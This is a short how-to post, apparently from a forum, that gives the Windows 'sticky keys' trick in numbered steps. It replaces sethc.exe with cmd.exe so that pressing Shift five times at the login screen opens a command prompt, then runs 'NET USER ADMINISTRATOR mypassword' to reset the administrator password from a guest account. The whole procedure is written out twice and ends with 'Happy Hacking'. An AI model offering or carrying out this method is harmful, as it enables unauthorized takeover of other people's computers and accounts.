Try this Method......
1.Go to C:/windows/system32
2.Copy cmd.exe and paste it on desktop
3.Rename cmd.exe to sethc.exe
4.Copy the new sethc.exe to system 32,when windows asks for overwriting the file,then click yes
5.Now press shift key 5 times you will get cmd prompt close that
6.Now Log out from your guest account and at the login screen,press shift key 5 times.
7.You will get commmand prompt there
Now type “ NET USER ADMINISTRATOR mypassword” where “mypassword” can be any password and Administrator is name of admin account ,then press enter.
8.You will see “ The Command completed successfully” and then exit the command prompt.
Thats all.............
Happy Hacking,.....................
1.Go to C:/windows/system32
2.Copy cmd.exe and paste it on desktop
3.Rename cmd.exe to sethc.exe
4.Copy the new sethc.exe to system 32,when windows asks for overwriting the file,then click yes
5.Now press shift key 5 times you will get cmd prompt close that
6.Now Log out from your guest account and at the login screen,press shift key 5 times.
7.You will get commmand prompt there
Now type “ NET USER ADMINISTRATOR mypassword” where “mypassword” can be any password and Administrator is name of admin account ,then press enter.
8.You will see “ The Command completed successfully” and then exit the command prompt.
Thats all.............
Happy Hacking,.....................